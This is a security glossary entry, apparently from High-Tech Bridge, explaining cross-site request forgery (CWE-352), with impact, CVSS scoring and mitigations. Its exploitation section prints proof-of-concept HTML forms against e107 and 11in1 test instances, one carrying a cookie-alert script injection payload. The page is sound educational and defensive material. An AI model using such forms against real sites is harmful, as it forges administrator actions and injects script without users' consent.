CWE Glossary

CWE is a trademark of the MITRE Corporation.

Stay in touch

Application security insights and invitations to exclusive events in your inbox

Your data will stay confidential Private and Confidential

Cross-Site Request Forgery [CWE-352]

This weakness describes improper or absent verification of the origin of an HTTP request.

Created: September 11, 2012
Latest Update: August 6, 2015

Table of Content

  1. Description
  2. Potential impact
  3. Attack patterns
  4. Affected software
  5. Exploitation Examples
  6. Severity and CVSS Scoring
  7. Mitigations
  8. References
  9. Latest Related Security Advisories

1. Description

Cross-site request forgery (CSRF) is a weakness within a web application which is caused by insufficient or absent verification of the HTTP request origin. Webservers are usually designed to accept all requests and respond to them. If a client sends several HTTP requests within one or several sessions, it is impossible for a webserver to know whether all the requests were intentional, and they are treated as such. An attacker might be able to trick a user into visiting a specially crafted webpage and forge request to the vulnerable application from client's browser.

The following example contains a simple HTML form that is used to leave comments for website owners:

  1. <form name="tstForm" action="/index.php" method="POST">
  2. <input type="text" name="sName" value="" />
  3. <textarea name="sText"></textarea>
  4. <input type="submit" name="btSubmit" value="Send!">
  5. </form>

The above form sends HTTP request to the /index.php script. The index.php script contains the following code:

  1. <?
  2. $sName = $_POST["sName"];
  3. $sText = $_POST["sText"];
  4. If ($sName && $sText && CUser::IsAuthorized())
  5.     CComment::AddComment($sName, $sText);
  6. Else
  7.     Echo "Error";
  8. ?>

The above code allows publication of a comment when certain conditions are met. If $sName and $sText variables are not empty and user is authenticated in application, the function CComment::AddComment will be executed and comment will be published. An attacker can trick victim into visiting a webpage that sends the same request to the application. If the victim is authenticated within this application, the comment will be published too.

2. Potential impact

Almost every web application contains functionality that requires certain privileges. If validation of the request origin is not performed, an unauthenticated user might be able to use this functionality, although exploitation of this vulnerability requires some level of social engineering. Depending on the application functionalities, an attacker might be able to gain access to otherwise restricted areas and perform simple tasks such as publishing comments under user's name, creating administrative accounts or use this weakness as a surface for further attacks.

3. Attack patterns

There are following attack patterns that can leverage cross-site request forgery vulnerability:

Cross-site request forgery is described under WASC-9 in WASC Threat Classification.

4. Affected software

Any web application that uses external input to perform certain tasks is potentially vulnerable to this weakness.

5. Exploitation Examples

We will demonstrate cross-site request forgery attack against a popular content management system e107. Security advisory HTB23004 (Cross-site Request Forgery in e107) describes a case where software does not validate user input in the "user_include" HTTP POST parameter, this means that we can inject and execute arbitrary HTML and script code in administrator's browser:

HTB23004 advisory CWE-352 PoC exploitation example

An attacker can create a specially crafted webpage and trick a logged-in administrator into visiting it.

We will use the following PoC code to sumbit a form as an administrator and injects the "<script>alert(document.cookie)</script>" script that is executed every time administrator visits the vulnerable page:

  1. <html>
  2. <form method="POST" action="http://e107.local/e107_admin/users_extended.php?editext" name=m>
  3. <input type="hidden" name="user_field" value="abcde1f1">
  4. <input type="hidden" name="user_text" value="12121">
  5. <input type="hidden" name="user_type" value="1">
  6. <input type="hidden" name="user_include" value='"><script>alert(document.cookie)</script>'>
  7. <input type="hidden" name="add_field" value="1">
  8. <input type="hidden" name="user_parent" value="0">
  9. <input type="hidden" name="user_required" value="0">
  10. <input type="hidden" name="user_applicable" value="255">
  11. <input type="hidden" name="user_read" value="0">
  12. <input type="hidden" name="user_write" value="253">
  13. <input type="hidden" name="user_hide" value="0">
  14. <input type=submit>
  15. </form>
  16. </html>

The image below displays the result of successful exploitation of the vulnerability:

HTB23004 advisory CWE-352 PoC exploitation example

HTB23071 security advisory (CVE-2012-0997) is another great example that demonstrates the cross-site request forgery vulnerability. The following code allows an attacker to publish arbitrary articles on the website:

  1. <html>
  2. <form action="http://11in1.local/admin/index.php?class=do&action=addTopic" method="post">
  3. <input type="hidden" name="name" value="CSRF exploitation example">
  4. <input type="hidden" name="sec" value="3">
  5. <input type="hidden" name="content" value="This is CSRF exploitation example.">
  6. <input type="submit" id="btn">
  7. </form>
  8. </html>

After successful exploitation of the vulnerability a new articles named "CSRF exploitation example" will appear on the main page of the website:

HTB23071 advisory CWE-352 PoC exploitation example

6. Severity and CVSS Scoring

This weakness should be scored based on the maximum potential impact allowed by application's functionalities. Due to the nature of the vulnerability and its available attack vectors, we recommend scoring the vulnerability as AC:H. Scoring example of vulnerability that allows adding a new administrative user or changing email address of an existing administrator will look like this:
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P) - Medium severity.

Vulnerability #3 described in HTB23113 security advisory (CVE-2012-4773) can be used as an example of such scoring.

If actions of an attacker are limited to e.g. adding comments under user's name the vulnerability can be scored as:
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N) - Low severity.

Vulnerability #2 described in HTB23071 security advisory - Multiple vulnerabilities in 11in1 (Сross-Site Request Forgery (CSRF) in 11in1: CVE-2012-0997) can be used as an example of such scoring.

We use CVSSv2 scoring system in our HTB Security Advisories to calculate the risk of the discovered vulnerabilities. Not all of the vulnerabilities are scored in strict accordance to FIRST recommendations. Our CVSSv2 scores are based on our long internal experience in software auditing and penetration testing, taking into consideration a lot of practical nuances and details. Therefore, sometimes they may differ from those ones that are recommended by FIRST.

7. Mitigations

Protection from CSRF is basically built on having a nonce, a cookie or any other unique identifier that could be used to validate the request origin. Unfortunately this defense can be bypassed if application contains a cross-site scripting vulnerability, because it gives an attacker possibility to get knowledge of that unique identifier.

The basic rules to protect application from CSRF are:

  • Ensure that your application does not have cross-site scripting vulnerabilities
    A cross-site scripting vulnerability can be used by an attacker to steal the security token and use it in an attack against the application. The injected script can interact with page elements, read existing tokens and automatically submit the request.
  • Generate a unique token for each entity
    It’s strongly recommended to generate a unique time based-identifier for each entity. It should consist of a unique randomly generated string, which can be used within specific timeframe and limited number of times (preferably just once per entity). This approach will limit possibility for a replay attack, if the security token is somehow intercepted. This token should not be based on account information, provided by the user, and should be hard to guess in case of a brute-force attack, e.g. consist of at least 10-20 characters.
  • Use CAPTCHA when possible
    Although there is a lot of different techniques and software to guess the CAPTCHA word, it still can be used as an additional protection layer against CSRF attacks.
  • Identify dangerous operations and always demand confirmation of dangerous actions
    Developers should identify dangerous operations and treat them with caution. For example, when changing account password always demand from user to provide his/her old password; if application allows to drop database, confirm this action by demanding an extra password or CAPTCHA for that matter.
  • Use protection frameworks

    If you are unable to develop proper CSRF protection mechanism or are not sure of its security level, you can also implement existing solutions, such as:

8. References

  1. CWE-352: Cross-Site Request Forgery (CSRF) []
  2. Cross-Site Request Forgery (CSRF) []
  3. XSS & CSRF: Practical exploitation of post-authentication vulnerabilities in web applications []

9. Latest HTB Security Advisories with CWE-352

Copyright Disclaimer: Any above-mentioned content can be copied and used for non-commercial purposes only if proper credit to High-Tech Bridge is given.

↑ Back to Top
High-Tech Bridge on Facebook High-Tech Bridge on Twitter High-Tech Bridge on LinkedIn High-Tech Bridge RSS Feeds Send by Email
Let's Talk